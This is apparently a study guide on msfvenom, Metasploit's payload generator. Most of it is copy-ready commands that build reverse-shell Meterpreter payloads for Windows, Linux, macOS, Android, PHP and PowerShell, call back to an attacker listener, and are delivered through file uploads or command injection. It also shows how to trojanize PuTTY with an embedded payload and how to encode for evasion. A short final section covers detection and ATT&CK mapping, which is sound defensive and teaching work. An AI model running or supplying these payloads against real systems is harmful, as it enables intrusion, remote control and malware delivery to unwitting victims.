

msfvenom

Your Metasploit Framework guide introduced `msfvenom` briefly as the tool for generating standalone payloads when you need to deliver Meterpreter (or any other payload) through a mechanism outside Metasploit's own exploit modules — a command injection vulnerability from your Command Injection guide, a file upload feature, a phishing attachment. This is the deep dive: how payload generation actually works, every option that matters, and how to combine encoding/formatting to fit whatever delivery mechanism you're working with.

1. What msfvenom Actually Does

`msfvenom` is Metasploit's standalone payload generator and encoder — it combines the framework's payload library (the same payloads used by `set payload` inside `msfconsole`, from your Metasploit Framework and Meterpreter guides) with output formatting and encoding, producing a file you can deliver through whatever channel you've found.

```
msfconsole's exploit modules → find AND exploit a vulnerability,
                             THEN deliver a payload automatically
msfvenom                     → JUST generates the payload file –
                             delivery is entirely up to you,
                             via whatever vector you've already
                             identified (a vulnerable upload
                             form, a command injection point,
                             a macro-enabled document, USB drop)
```

This is exactly the tool referenced at the end of your Metasploit Framework guide as the bridge between a vulnerability you found manually (SQLi leading to file write, command injection, an insecure file upload from your Business Logic Vulnerabilities guide) and getting a full Meterpreter session out of it instead of a bare command-execution primitive.

2. Basic Syntax

```
msfvenom -p <payload> <payload options> -f <format> -o <output file>
```

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o payload.exe
```

Flag	Meaning
-p	Payload path (same naming convention as <code>set payload</code> in <code>msfconsole</code>)
-f	Output format (<code>exe</code> , <code>elf</code> , <code>raw</code> , <code>python</code> , <code>php</code> , etc.)
-o	Output filename
-a	Target architecture (<code>x86</code> , <code>x64</code>)
--platform	Target platform (<code>windows</code> , <code>linux</code> , <code>osx</code> , <code>android</code>)
-e	Encoder to apply
-i	Number of encoding iterations
-b	Bad characters to avoid in the output (buffer-overflow-specific)
-x	Template executable to inject the payload into
-k	Keep the template's original functionality running alongside the payload
-c	Custom C-style shellcode file to prepend

```
msfvenom -l payloads          # list every available payload
msfvenom -l formats          # list every supported output format
msfvenom -l encoders         # list every available encoder
```

3. Choosing a Payload — Naming Convention

Payload names follow a consistent `platform/arch/payload_type` structure — worth being able to read these at a glance:

```
windows/x64/meterpreter/reverse_tcp
  ^       ^       ^       ^
platform arch  type  behavior
```

```
linux/x86/shell_reverse_tcp
php/meterpreter/reverse_tcp
```

Singles vs. staged, from your Meterpreter guide, applies identically here:

windows/shell_reverse_tcp	→ single, self-contained, basic shell
windows/meterpreter/reverse_tcp	→ staged – msfvenom bundles BOTH the small stager AND an embedded reference to fetch the full Meterpreter stage on execution
windows/meterpreter_reverse_tcp	→ single-file, NON-staged Meterpreter variant – larger file size since the whole payload is bundled in one piece, but doesn't require a separate stage-download step, which can matter in restrictive network environments

4. Platform-Specific Generation Examples

Windows executable:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o shell.exe
```

Linux ELF binary:

```
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf -o shell.elf
```

macOS Mach-O binary:

```
msfvenom -p osx/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f macho -o shell.macho
```

Android APK:

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -o shell.apk
```

PHP web shell (directly relevant to a file-upload vulnerability from your Business Logic Vulnerabilities guide):

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.php
```

PowerShell payload (relevant to your PowerShell Basics guide — often used when a Windows target has PowerShell available but you want to avoid dropping a traditional `.exe`):

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f psh -o shell.ps1
```

Raw shellcode for embedding in custom exploit code (relevant if you're extending an exploit you found via fuzzing/manual research rather than delivering a full file):

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f python
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f c
```

5. Command Execution Payloads — For Command Injection Delivery

This is the most direct connection to your Command Injection guide: instead of a full binary, sometimes you just need a **one-liner** to paste directly into an injection point.

Reverse shell as a single command string:

```
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.5 LPORT=4444 -f raw
```

Output is a compact shell command (functionally very similar to the `bash -i >&/dev/tcp/.../dev/tcp/...` one-liner from your Netcat and Command Injection guides) — designed to be pasted directly into an injection point without needing any file transfer step at all.

Windows equivalent, for PowerShell-based injection:

```
msfvenom -p cmd/windows/powershell_reverse_tcp LHOST=192.168.1.5 LPORT=4444
```

6. Combining With a Handler — The Standard Pairing

A generated payload is inert until something is listening for its callback — this is exactly the `exploit/multi/handler` role introduced at the end of your Metasploit Framework guide:

```
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.5
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run
```

Critical detail worth internalizing: the payload type and `LHOST` / `LPORT` values configured in the handler **must exactly match** what you generated with `msfvenom` — a mismatch (even something as small as `windows/meterpreter/reverse_tcp` generated but `windows/x64/meterpreter/reverse_tcp` handled) means the connection either fails outright or connects without properly upgrading into a usable Meterpreter session.

7. Encoders — Purpose and Real Limitations

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
```

What encoding actually does — and what it doesn't: encoders transform the payload's byte representation, historically useful for two purposes: avoiding

"bad characters" that would break a specific exploit's memory-corruption mechanics (the `-b` flag's original purpose), and — much less reliably today — attempting to evade signature-based antivirus detection.

Important, frequently misunderstood limitation: modern AV/EDR products use behavioral analysis, heuristics, and machine-learning-based detection, not just static byte-pattern signatures — `msfvenom` encoding alone is **not** a reliable AV evasion technique against contemporary defenses, despite how it's sometimes portrayed in outdated tutorials. `shikata_ga_nai` (a polymorphic XOR-based encoder) remains the most commonly referenced encoder, but treat encoding as addressing the "bad characters" exploit-compatibility problem primarily, not as a dependable evasion technique on its own — genuine modern evasion requires far more sophisticated techniques (custom loaders, process injection, living-off-the-land approaches) well beyond what a single `-e` flag provides.

8. Template Injection — Embedding a Payload Into a Legitimate Executable

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -x putty.exe -k -f exe -o putty_trojanized.exe
```

```
-x putty.exe  → use an existing, legitimate executable as a template
-k           → KEEP the template's original functionality running
              (the resulting file still genuinely functions as
              PuTTY, while ALSO executing the embedded payload) –
              without -k, the template's real functionality is
              typically replaced entirely rather than preserved
```

This is directly relevant to social-engineering-style delivery (a trojanized "legitimate" tool sent via phishing) — worth being explicit that this specific technique sits squarely in social engineering/malware-delivery territory and should only ever be used within a very clearly scoped, explicitly authorized engagement (an authorized phishing/red-team simulation), given how directly it mirrors real-world malware delivery methodology.

9. Staged vs. Non-Staged — Practical Trade-offs

```
Staged (windows/meterpreter/reverse_tcp)
+ Smaller initial payload
- Requires the target to successfully complete a SECOND download
  step after the first connection – can fail in restrictive
  egress-filtered environments where only the initial connection
  succeeds but the stage download gets blocked

Non-staged (windows/meterpreter_reverse_tcp)
+ Entire payload delivered in one piece, no second-stage
  dependency
- Larger file size, which can matter for delivery mechanisms
  with size constraints (certain injection points, certain
  upload restrictions)
```

Worth testing both if your first attempt's handler shows a connection that drops immediately after the initial callback — that specific symptom (connect, then immediately disconnect) is a classic sign of a staged payload's second download being blocked by egress filtering, and switching to non-staged is often the direct fix.

10. Practical Delivery Scenarios — Tying to Earlier Guides

Via a file upload vulnerability (your Business Logic Vulnerabilities and Command Injection guides):

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.5 L
PORT=4444 -f raw -o shell.php
```

Upload `shell.php`, then browse to it directly to trigger execution, with your `exploit/multi/handler` already running and waiting.

Via a confirmed command injection point (your Command Injection guide):

```
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.5 LPORT=4
444 -f raw
```

Paste the resulting one-liner directly into the injection point using the same `& / ;` /backtick delivery syntax from that guide.

Via SmartScan-style automation (a natural extension of your own project's patterns): since `msfvenom` has a CLI interface, it's genuinely scriptable — a

Python wrapper calling `msfvenom` as a subprocess to auto-generate a matching payload once a vulnerability is confirmed is a plausible feature extension for a tool in the same spirit as your SmartScan project, though worth treating this idea carefully given the dual-use nature of automated payload generation.

11. Practical Full Workflow Example

```
# 1. Generate a payload matching a confirmed file-upload vulnerability
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.php

# 2. Set up the handler BEFORE delivering the payload
msfconsole -q -x "use exploit/multi/handler; set payload php/meterpreter/reverse_tcp; set LHOST 192.168.1.5; set LPORT 4444; run"

# 3. Deliver shell.php via the upload vulnerability, then trigger it
#    by browsing to its uploaded location

# 4. Handler catches the callback, session opens automatically
meterpreter > sysinfo
```

The `-x` flag on `msfconsole` here runs a sequence of console commands non-interactively at startup — a genuinely useful shortcut once you're comfortable with the manual workflow, letting you spin up a handler in one line instead of stepping through `use` / `set` / `run` individually every time.

12. Detection/Defensive Angle (SOC Relevance)

- Default msfvenom-generated payloads (unencoded, un-obfuscated) are reliably caught by essentially every modern AV product on file write or execution – this is genuinely expected and normal, not a tool failure
- Network-based detection (IDS/IPS signatures for Meterpreter's default communication pattern) catches most default-configuration payloads even when file-based AV is bypassed via encoding

- The "trojanized legitimate executable" technique from Section 8 is exactly the pattern application allowlisting and code-signing verification are designed to catch – a genuine executable's digital signature breaks once a payload is injected into it, which is a strong, reliable detection signal defenders can alert on
- From a blue-team perspective, generating and testing your own msfvenom payloads against your organization's actual AV/EDR stack is a legitimate, valuable defensive exercise – confirming detection coverage against known offensive tooling, rather than only trusting vendor marketing claims

Kill Chain / ATT&CK Mapping

msfvenom Activity	Kill Chain Stage	MITRE ATT&CK
Payload generation	Weaponization	T1587.001 (Develop Capabilities: Malware)
Delivery via upload/injection	Delivery	T1189, T1190
Encoding/template injection	Defense Evasion	T1027 (Obfuscated Files or Information), T1036 (Masquerading — Section 8's trojanized template)
Handler catching the callback	Command & Control	T1071, T1105 (Ingress Tool Transfer, for staged payloads)

Quick Reference Cheat Sheet

List options

```
msfvenom -l payloads / -l formats / -l encoders
```

Basic generation

```
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <file>
```

Common platform examples

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... -f exe -o s.exe
```

```
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=... LPORT=... -f elf -o s.elf
```

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=... LPORT=... -f raw -o s.php
```

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... -f psh -o s.ps1
```

```
# Command-injection-friendly one-liner
```

```
msfvenom -p cmd/unix/reverse_bash LHOST=... LPORT=... -f raw
```

```
# Encoding (exploit-compatibility focused, NOT reliable AV evasion)
```

```
msfvenom -p <payload> LHOST=... LPORT=... -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
```

```
# Template injection
```

```
msfvenom -p <payload> LHOST=... LPORT=... -x legit.exe -k -f exe -o trojanized.exe
```

```
# Matching handler
```

```
use exploit/multi/handler
```

```
set payload <SAME payload used in msfvenom>
```

```
set LHOST <SAME LHOST>
```

```
set LPORT <SAME LPORT>
```

```
run
```